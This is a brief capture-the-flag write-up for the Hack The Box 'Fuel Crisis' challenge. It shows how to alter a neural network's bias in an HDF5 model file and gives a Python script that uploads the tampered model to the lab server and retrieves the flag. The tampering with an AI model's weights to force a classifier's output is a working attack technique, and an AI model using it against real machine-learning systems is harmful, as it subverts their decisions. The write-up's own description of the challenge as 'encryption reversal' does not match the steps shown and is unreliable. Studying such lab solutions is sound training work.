HackTheBox Fuel Crisis Writeup

Explore the basics of cybersecurity in the Fuel Crisis Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

Right-click in HDFView, reload as read-write, double-click the bias in Dense 2, set it to -100.0, and save the changes.

import requests
from bs4 import BeautifulSoup
import argparse

def main(server_address):
    try:
        ip, port = server_address.split(':')
    except ValueError:
        print("Error: Please provide the server address in the format ip:port")
        return
    url = f"http://{ip}:{port}/"
    files = {'file': open('model.h5', 'rb')}
    try:
        response = requests.post(url, files=files)
        print(" > Uploaded payload model weights...")
    except requests.exceptions.RequestException as e:
        print(f"Failed to upload payload: {e}")
        return
    try:
        response = requests.post(url + "dock")
        print(" > Docking ship...")
    except requests.exceptions.RequestException as e:
        print(f"Failed to dock ship: {e}")
        return
    soup = BeautifulSoup(response.text, features="lxml")
    flag = soup.find('p')
    print(" > Got flag...")
    print(f" > {flag.text}")
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Send a file and retrieve a flag from a server.")
    parser.add_argument("server_address", help="Server address in the format ip:port")
    args = parser.parse_args()
    main(args.server_address)

Summary

The Fuel Crisis Challenge on Hack The Box is an easy-level, beginner-friendly challenge that focuses on encryption reversal, file handling, and basic server interactions. It involves modifying a model’s bias using HDFView and utilizing a Python script to upload a payload, dock a ship, and extract a flag from the server response, offering a practical introduction to common CTF cybersecurity techniques.